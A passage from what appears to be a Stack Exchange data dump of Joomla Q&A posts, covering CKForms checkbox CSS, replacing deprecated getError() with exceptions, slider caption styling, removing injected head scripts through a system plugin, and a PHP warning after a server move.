LastActivityDate="2014-10-20T13:36:40.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4884" PostTypeId="1" AcceptedAnswerId="4885" CreationDate="2014-10-20T15:21:18.520" Score="1" ViewCount="274" Body="&lt;p&gt;I'm using Ck forms component to build my forms.&#xA;Every things works fine, except checkbox, they are not like what is planned.&#xA;My question is : how to align them one next to one, and how to match Value/Label of the checkbox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhIaR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The html part of checkbox is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;p class=&quot;ckformsblocplug ckformsbloc_2&quot; id=&quot;ckformsbloc_matiere_2&quot;&amp;gt;&amp;lt;label class=&quot;ckCSSlabel &quot; id=&quot;matierelbl&quot; for=&quot;matiere&quot;&amp;gt; Mathématiques&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;input class=&quot;validate[] ckCSStop10 &quot; name=&quot;matiere&quot; type=&quot;checkbox&quot; value=&quot;Mathématiques&quot;&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The css :&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     .ckform {&#xA;    margin-top: 10px;&#xA;}&#xA;.ckformtitleplug {&#xA;    border-bottom: 1px solid #dddddd;&#xA;}&#xA;.ckformsblocplug {&#xA;    line-height: 1.0em;&#xA;    margin: 0;&#xA;}&#xA;.ckformslabel {&#xA;    margin: 5px 0;&#xA;    width: 30%&#xA;}&#xA;.ckform div.fc-error {&#xA;    border: none;&#xA;    background:none;&#xA;    float:left;&#xA;    margin-right: 5px;&#xA;    padding: 0px;&#xA;}&#xA;.ckform input { &#xA;    border: 1px solid #999;&#xA;    padding: 5px;&#xA;}&#xA;/* CSS layout */&#xA;.ckCSSlabel {&#xA;    display: block;&#xA;    float: left;&#xA;    margin-top: 10px;&#xA;    width: 20%;&#xA;    font-size:1em;&#xA;}&#xA;.ckCSSinput {&#xA;    width: 76%;&#xA;    margin-top: 6px;&#xA;    background:none;&#xA;}&#xA;.ckCSSinput input {&#xA;    background:none;&#xA;}&#xA;/*&#xA;.ckCSSclear {&#xA;    margin: 0px;&#xA;    padding: Opx;&#xA;    clear: both;&#xA;}&#xA;*/&#xA;.ckCSSFloatLeft {&#xA;    float: left;&#xA;}&#xA;.ckCSSbot10 {margin-bottom: 10px;}&#xA;.ckCSSbot5 {margin-bottom: 5px;}&#xA;.ckCSStop10 {margin-top: 1px;}&#xA;.ckCSScenter {&#xA;    text-align:center;&#xA;    margin-top: 10px;&#xA;}&#xA;/* Ajout de styles personnels pour fichier SQL exemple */&#xA;.ckCSSlabel {&#xA;    width: 120px;   &#xA;}&#xA;.ckCSSinput {&#xA;    /*width: auto;*/&#xA;}&#xA;.ckformsbloc_1 {&#xA;    float: left;&#xA;   width: 100%;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want that this group is shown like this :&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[checkbox] Mathématiques &lt;br/&gt;&#xA;[checkbox] Physiques-Chimie&lt;br/&gt;&#xA;[checkbox] SVT&lt;br/&gt;&#xA;[checkbox] Français&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or  &lt;br/&gt;&#xA;[checkbox] Mathématiques      [checkbox] Physiques-Chimie        [checkbox] SVT        [checkbox] Français&lt;/p&gt;&#xA;" OwnerUserId="2063" LastEditorUserId="2063" LastEditDate="2014-10-20T15:38:27.203" LastActivityDate="2014-10-20T16:41:43.213" Title="CKform Checkbox issue" Tags="|joomla-2.5|jform|form|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4885" PostTypeId="2" ParentId="4884" CreationDate="2014-10-20T15:57:34.193" Score="1" Body="&lt;p&gt;Well, check below one approach, although the html of your form is not ideal and I see there are multiple same ids for your elements. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The CSS code below should work on the current page (unless I forgot to paste anything here), but it could be better if you would have the possibility to improve the mark-up of the form adding more elements/ classes and different ids on the elements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try by adding the following css in your template's css at the end, and let us know how this goes. In any case this can be a starting point for you, to make it work the way you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// &lt;strong&gt;Updated&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p#ckformsbloc_matiere_2 {&#xA; display: block;&#xA; float: left;&#xA; width: 150px;  /*** Changed from width: 22%; ***/&#xA; margin-right: 20%;  /*** Changed from margin-right: 25%; ***/&#xA;}&#xA;&#xA;#ckformsbloc_matiere_2.ckformsbloc_2 label {&#xA; float: right;&#xA; margin-top: 3px;&#xA;}&#xA;&#xA;input[type='checkbox'].ckCSStop10 {&#xA;float: left;&#xA;}&#xA;&#xA;.ckBtnCon {&#xA; width: 100%;&#xA; float: none;&#xA; clear: both;&#xA; padding-top: 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2014-10-20T16:41:43.213" LastActivityDate="2014-10-20T16:41:43.213" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4886" PostTypeId="2" ParentId="4884" CreationDate="2014-10-20T16:09:33.477" Score="1" Body="&lt;p&gt;Another quick solution is to add this CSS to your code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#ckformsbloc_matiere_2 { clear: left; }&#xA;p#ckformsbloc_matiere_2 input {margin-top: 15px;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first line will place all elements below each other, and the second line will align the checkbox to match the description.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing I noticed (probably not relevant to this layout issue) is that you're missing a file: &lt;code&gt;components/com_ckforms/css/tips.css&lt;/code&gt; is not available (404 error). Some JavaScript errors are also generated:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/An0cy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-10-20T16:09:33.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4887" PostTypeId="2" ParentId="4870" CreationDate="2014-10-20T17:22:31.380" Score="1" Body="&lt;p&gt;If you are not a developer to make your own plugin then its best to use nonumber, really simplifies things like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/modulesanywhere/userguide&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/modulesanywhere/userguide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a pro only feature but it allows you to adjust settings.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-10-20T17:22:31.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4888" PostTypeId="1" CreationDate="2014-10-20T17:38:47.527" Score="8" ViewCount="1178" Body="&lt;p&gt;I have been looking through some logs and noticed that getError() and getErrors() are throwing deprecated messages in Joomla 3.3 (we just updated). Apparently these were deprecated back in Joomla 2.5, but I am having a hard time finding a solution to update to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a look through the Joomla core files and even they are still using getError() and getErrors(). Is there a replacement for these, or is it like JViewLegacy, etc. where there isn't an alternative at the moment?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example where I'm using it is for saving a user: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!$user-&amp;gt;save()) {&#xA;        $error = $user-&amp;gt;getError();&#xA;        ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="348" LastActivityDate="2014-10-20T19:12:20.507" Title="Replace deprecated getError and getErrors" Tags="|joomla-3.x|error-handling|jerror|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4889" PostTypeId="2" ParentId="4888" CreationDate="2014-10-20T19:12:20.507" Score="3" Body="&lt;p&gt;You should use PHP Exceptions instead. I do find it odd that Joomla throws deprecated messages when using &lt;code&gt;JError&lt;/code&gt; yet isn't still used in the 3.3.6 core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, the below would be an example of Exceptions for a database query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('username')))&#xA;      -&amp;gt;from($db-&amp;gt;quoteName('#__user'))&#xA;      -&amp;gt;where($db-&amp;gt;quoteName('username') . ' = ' . $db-&amp;gt;quote('Lodder'));&#xA;$db-&amp;gt;setQuery($query);&#xA;&#xA;try&#xA;{&#xA;    // Try to get an object based on the results from the database&#xA;    $results = $db-&amp;gt;loadObjectList();&#xA;    print_r($results);&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    // Start crying cause it didn't work&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will throw an error saying the table does not exist because I have used &lt;code&gt;#__user&lt;/code&gt; instead of &lt;code&gt;#__users&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case, I would try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;try&#xA;{&#xA;    $user-&amp;gt;save();&#xA;    // redirect or do something magical&#xA;}&#xA;catch (Exception $e)&#xA;{&#xA;    echo $e-&amp;gt;getMessage();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$e-&amp;gt;getMessage()&lt;/code&gt; of course gets the error, so inside the catch, you can choose what you wish to do with it, such as log it or simply display it.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-20T19:12:20.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4890" PostTypeId="1" CreationDate="2014-10-20T19:13:40.477" Score="2" ViewCount="285" Body="&lt;p&gt;I need to move the text shown in the slide component in order to center it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the site: &lt;a href=&quot;http://cmarosac-cp52.webjoomla.es/fav/&quot; rel=&quot;nofollow&quot;&gt;http://cmarosac-cp52.webjoomla.es/fav/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The class is: flex-caption&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.flex-caption {&#xA;width: 25%;&#xA;height: 96%;&#xA;padding: 2%; &#xA;margin: 0; &#xA;position: absolute; &#xA;left: 0; &#xA;bottom: 0; &#xA;background: rgba(0,0,0,.3); &#xA;color: #fff; &#xA;text-shadow: 0 -1px 0 rgba(0,0,0,.3); &#xA;font-size: 14px; &#xA;line-height: 20px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would like to locate what is the path for the file where I use the class flex-caption.&lt;/p&gt;&#xA;" OwnerUserId="2065" LastEditorUserId="1629" LastEditDate="2014-10-20T19:33:03.497" LastActivityDate="2014-11-05T07:25:14.083" Title="Adjust Position of Text with CSS" Tags="|joomla-3.x|fix-my-code|css|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4891" PostTypeId="2" ParentId="4890" CreationDate="2014-10-20T19:18:39.597" Score="2" Body="&lt;p&gt;You can use the following CSS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.flex-caption {&#xA;    height: auto;&#xA;    width: 100%;&#xA;    margin-bottom: 0;&#xA;    padding: 10px 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will extend the caption box to the full width and position it at the bottom of the slider.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to go to line &lt;strong&gt;252&lt;/strong&gt; of:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;modules/mod_simple_responsive_slideshow/theme/flexslider.css&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I assume you used your browser console to get the CSS for this element, so I hope you realise the browser console also tells you where the code is located ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-10-20T19:18:39.597" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4892" PostTypeId="1" AcceptedAnswerId="4894" CreationDate="2014-10-20T20:58:02.313" Score="5" ViewCount="2497" Body="&lt;p&gt;I'm trying to unset all javascript declarations in the document head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By this I mean inline javascript that is added by 3rd party extensions using -&gt;addScriptDeclaration(), and not javascript files that are added using -&gt;addScript().&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I dump&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;var_dump($doc-&amp;gt;_scripts);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then all Javascript files added by the Joomla core and 3rd party extensions are shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I dump&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$doc = JFactory::getDocument();&#xA;var_dump($doc-&amp;gt;_script['text/javascript']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then only the core javascript is shown, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(79) &quot;jQuery(window).on('load',  function() {&#xA;            new JCaption('img.caption');&#xA;        });&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anything added by 3rd party extensions is not included and still gets outputted to the head.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to intercept 3rd party script in the template or is it added at a later date and can only be done by a plugin at a certain event?&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="77" LastEditDate="2014-10-21T14:04:52.697" LastActivityDate="2022-10-11T10:11:20.337" Title="Unsetting javascript added to head data by -&gt;addScriptDeclaration() in template" Tags="|javascript|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4893" PostTypeId="1" CreationDate="2014-10-20T21:11:54.227" Score="1" ViewCount="1129" Body="&lt;p&gt;Any experienced J2Store users out there? I'm displaying my product articles via the j2store products module. I've made an override for a product line that we want to display but not sell yet and the product options have gotten lost in the shuffle somewhere. I believe this is because I basically copied and pasted the necessary code from addtocart.php and addtocart_options.php into my override file. Is there a way to use a direct php call to display the product options? I know they're in the article attributes I just can't figure out how to access them...&lt;/p&gt;&#xA;" OwnerUserId="1893" LastActivityDate="2014-10-23T01:29:09.643" Title="Display J2Store product options" Tags="|extensions|joomla-3.3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4894" PostTypeId="2" ParentId="4892" CreationDate="2014-10-20T21:32:45.883" Score="5" Body="&lt;p&gt;&lt;strong&gt;This answer is very long and has many methods, best is at the bottom&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;unset($doc-&amp;gt;_scripts[JUri::base(true)'/path/to/file.js'])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;is mostly how to do it, some scripts might add the full URL and some might not.&lt;/p&gt;&#xA;&lt;p&gt;So here is a better way to go about it if you want everything removed.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$doc-&amp;gt;_scripts = array();&#xA;//if you need to re include libraries&#xA;JHtml::_('jquery.framework');&#xA;JHtml::_('behavior.framework');&#xA;&#xA;//if the array trick does not work you could do&#xA;for($i=0;$i&amp;lt;count($doc-&amp;gt;_scripts);$i++){&#xA;   //in here you could stop it from removing specific files by looking for specific file names&#xA;   $get_file = explode('/',$doc-&amp;gt;_scripts[$i]);&#xA;   $get_file = end($get_file);&#xA;&#xA;   //many more ways to do this, chains of if statements can get messy&#xA;   switch($get_file){&#xA;      case 'jquery.js':&#xA;      case 'boostrap.js';&#xA;         break;&#xA;      default:&#xA;         unset($doc-&amp;gt;_scripts[$i]);&#xA;         break;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;For script declaration it combines most scripts into one rather than separate them, also the template is not the last place to execute before the page is rendered, so more could still be added to the script array. I am not 100% on this but I believe modules are rendered after the template and then inserted, components load based on the menu item so they load before. Also plugins can add more scripts afterwords.&lt;/p&gt;&#xA;&lt;p&gt;So the only way to guarantee that you can adjust the scripts to your needs fully would be through a plugin. There is a system event called &lt;code&gt;onBeforeCompileHead&lt;/code&gt; that can do that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Plugin/Events/System#onBeforeCompileHead&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/Plugin/Events/System#onBeforeCompileHead&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You would have to create a plugin but they are the easiest of all extensions to make, here is a good reference.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;In summary, depending on where it is added, it may not be possible in the template; plugins could be the only way.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;UPDATE:&#xA;Like I said, it cannot be done with just templates, but I found a way to get around that with a simple system plugin that can be used to allow it on any site. This is something that would be useful in the core and I might try to do a pull request to get it added, though anyone is welcome to. However its unlikely to be added &amp;quot;next release&amp;quot;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemHooks extends JPlugin&#xA;{&#xA;    public function onAfterDispatch(){&#xA;        $app = JFactory::getApplication();&#xA;        $template = $app-&amp;gt;getTemplate();&#xA;&#xA;        if ($app-&amp;gt;isSite())&#xA;        {&#xA;            if (file_exists(JPATH_THEMES.DIRECTORY_SEPARATOR.$template.DIRECTORY_SEPARATOR.'functions.php'))&#xA;            {&#xA;                $dispatcher = JDispatcher::getInstance();&#xA;                require_once JPATH_THEMES.DIRECTORY_SEPARATOR.$template.DIRECTORY_SEPARATOR.'functions.php';&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This is sort of inspired by WordPress but I was blown away when, by looking at source code I discovered it was basically completely supported in core, just the final step of defining a file in the template was missed. Such a useful functionality!&lt;/p&gt;&#xA;&lt;p&gt;Here is how to use it.&lt;/p&gt;&#xA;&lt;p&gt;First create a &lt;code&gt;functions.php&lt;/code&gt; file in your template.&lt;/p&gt;&#xA;&lt;p&gt;Next use something like this in that file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher-&amp;gt;register('onBeforeCompileHead',function(){&#xA;   //your code to remove the unneeded scripts.&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;Note: I did this from memory, so it might not be 100% correct, looking into the &lt;code&gt;JDispatcher&lt;/code&gt; class might be a good idea if it does not work.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;This can be very useful in many projects that need some simple plugin functionality specifically for that site, but making a custom plugin is way more work then it needs to be.&lt;/p&gt;&#xA;" OwnerUserId="75" LastEditorUserId="9485" LastEditDate="2022-10-11T10:11:20.337" LastActivityDate="2022-10-11T10:11:20.337" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="4895" PostTypeId="2" ParentId="4892" CreationDate="2014-10-21T08:30:48.707" Score="3" Body="&lt;p&gt;The other way to do it, and the method that I prefer, is to simply create an override for the extension and comment out the call for the script there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do this all the time, for almost every extension I use, removing both script and css calls. The only possible gotcha is that if the extension developer did not put the calls in the view file, then you can't create a template override and you'd have to hack the extension instead.&lt;/p&gt;&#xA;" OwnerUserId="296" LastActivityDate="2014-10-21T08:30:48.707" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4896" PostTypeId="1" AcceptedAnswerId="4897" CreationDate="2014-10-21T09:26:45.237" Score="-1" ViewCount="146" Body="&lt;p&gt;I'm looking for a module or a componenent that shows to users a download page, with multiple section, when the user choose a section, it shows many sub-sections...., downloaded files are PDF in general.&#xA;I have seen RSFile but it's not a free release.&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2014-10-21T09:54:22.010" Title="Looking for file downalod list joomla" Tags="|download|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-21T18:36:55.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="4897" PostTypeId="2" ParentId="4896" CreationDate="2014-10-21T09:54:22.010" Score="1" Body="&lt;p&gt;JED is the first place to look for this. &#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/directory-a-documentation/downloads&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/directory-a-documentation/downloads&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually for such questions, a google search of &quot;Joomla Downloads Extension&quot; will be sufficient to present much information. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some extensions might be commercials, others might be free. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is always the option to do this within com_content by creating categories and articles that will include your attachments/files, and use modules or a custom modified com_content view/template to make it look and work the way you want (up to a point). Such solution might not be that flexible in terms of managing the files, as a dedicated component, but it could really work.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-10-21T09:54:22.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4898" PostTypeId="1" CreationDate="2014-10-20T16:53:44.097" Score="1" ViewCount="1614" Body="&lt;p&gt;I've just moved an oldish joomla (2.5.14) site to a newer sever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My php knowledge is very poor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error is as follows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: Creating default object from empty value in /components/com_portfolio/models/portfolio.php on line 46&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line 46 is $this-&gt;_params-&gt;cat1 = $params-&gt;get( 'category1' );&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getParamsFD(){&#xA;    $db =&amp;amp; JFactory::getDBO();&#xA;    // Get the parameters of the active menu item&#xA;    if(FD_JVERSION == '16') {&#xA;        $app = JFactory::getApplication();&#xA;        $params = $app-&amp;gt;getParams();&#xA;        $this-&amp;gt;_params-&amp;gt;cat1 = $params-&amp;gt;get( 'category1' );&#xA;        $this-&amp;gt;_params-&amp;gt;cat2 = $params-&amp;gt;get( 'category2' );&#xA;        $this-&amp;gt;_params-&amp;gt;cat3 = $params-&amp;gt;get( 'category3' );&#xA;        $this-&amp;gt;_params-&amp;gt;cat4 = $params-&amp;gt;get( 'category4' );&#xA;        $this-&amp;gt;_params-&amp;gt;height = $params-&amp;gt;get( 'theight' );&#xA;        $this-&amp;gt;_params-&amp;gt;width = $params-&amp;gt;get( 'twidth' );&#xA;        $this-&amp;gt;_params-&amp;gt;columns = $params-&amp;gt;get( 'columns' );&#xA;        $this-&amp;gt;_params-&amp;gt;rows = $params-&amp;gt;get( 'rows' );&#xA;        $this-&amp;gt;_params-&amp;gt;piwidth = $params-&amp;gt;get( 'piwidth' );&#xA;        $this-&amp;gt;_params-&amp;gt;powidth = $params-&amp;gt;get( 'powidth' );&#xA;        $this-&amp;gt;_params-&amp;gt;dheight = $params-&amp;gt;get( 'dheight' );&#xA;        $this-&amp;gt;_params-&amp;gt;shadow = $params-&amp;gt;get( 'shadow' );&#xA;        $this-&amp;gt;_params-&amp;gt;gmode1 = $params-&amp;gt;get( 'gmode1' );&#xA;        $this-&amp;gt;_params-&amp;gt;gmode2 = $params-&amp;gt;get( 'gmode2' );&#xA;        $this-&amp;gt;_params-&amp;gt;gmode3 = $params-&amp;gt;get( 'gmode3' );&#xA;        $this-&amp;gt;_params-&amp;gt;gmode4 = $params-&amp;gt;get( 'gmode4' );&#xA;        $this-&amp;gt;_params-&amp;gt;tdmode1 = $params-&amp;gt;get( 'tdmode1' );&#xA;        $this-&amp;gt;_params-&amp;gt;tdmode2 = $params-&amp;gt;get( 'tdmode2' );&#xA;        $this-&amp;gt;_params-&amp;gt;tdmode3 = $params-&amp;gt;get( 'tdmode3' );&#xA;        $this-&amp;gt;_params-&amp;gt;tdmode4 = $params-&amp;gt;get( 'tdmode4' );&#xA;        $this-&amp;gt;_params-&amp;gt;thmode1 = $params-&amp;gt;get( 'thmode1' );&#xA;        $this-&amp;gt;_params-&amp;gt;thmode2 = $params-&amp;gt;get( 'thmode2' );&#xA;        $this-&amp;gt;_params-&amp;gt;thmode3 = $params-&amp;gt;get( 'thmode3' );&#xA;        $this-&amp;gt;_params-&amp;gt;thmode4 = $params-&amp;gt;get( 'thmode4' );&#xA;    } else {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help will be gratefully appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2068" OwnerDisplayName="Legin76" LastActivityDate="2014-10-21T10:11:03.153" Title="Old Joomla New server - Warning: Creating default object from empty value" Tags="|php|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4899" PostTypeId="2" ParentId="4898" CreationDate="2014-10-21T10:04:11.570" Score="2" Body="&lt;p&gt;It would seem that your new server has a higher PHP version which is why it's throwing this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have access to your &lt;em&gt;php.ini&lt;/em&gt; file, then try changing:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error_reporting = E_ALL&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;error_reporting = E_ALL &amp;amp; ~E_NOTICE &amp;amp; ~E_STRICT&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you do not have access to this file, then you could do it by adding some PHP code, however this means editing a core file which I would not recommend. Instead, try adding default values to these parameters. The second argument gets used if no value has been specified:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;_params-&amp;gt;cat1 = $params-&amp;gt;get( 'category1', 'default' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do this for &lt;strong&gt;all&lt;/strong&gt; the parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would also recommend you upgrade to Joomla 2.5.27 as you are 13 versions behind&lt;/p&gt;&#xA;" OwnerUserId="168" OwnerDisplayName="Lodder" LastActivityDate="2014-10-21T10:04:11.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4900" PostTypeId="1" CreationDate="2014-10-21T12:38:50.930" Score="8" ViewCount="1124" Body="&lt;p&gt;Is it possible to display a module in multiple positions, preferably natively, or through a third party extension?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there are workarounds...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;clone the module and change the position, however this is tiresome if the module contains, say, custom HTML and this is likely to change often.&lt;/li&gt;&#xA;&lt;li&gt;use &lt;code&gt;load&lt;/code&gt; syntax to drop module wherever you want, but still results in modules being created simply to hold other modules&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;but both create extra maintenance work that I'd rather forego.&lt;/p&gt;&#xA;" OwnerUserId="90" LastActivityDate="2014-10-21T17:56:15.823" Title="Display module in multiple positions" Tags="|joomla-3.x|module|module-display|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4901" PostTypeId="2" ParentId="4900" CreationDate="2014-10-21T14:41:59.533" Score="1" Body="&lt;p&gt;You could use nonumbers modules anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nonumber.nl/extensions/modulesanywhere/userguide&quot; rel=&quot;nofollow&quot;&gt;http://www.nonumber.nl/extensions/modulesanywhere/userguide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unlike the loadposition version that is in the core, it can be used in a module as well and not just an article. So you could make a second custom html module, and then call the first position. This would basically give you a copy of the position, but what ever settings you change in the first module will also apply in the second &quot;clone&quot;.&lt;/p&gt;&#xA;" OwnerUserId="75" LastActivityDate="2014-10-21T14:41:59.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
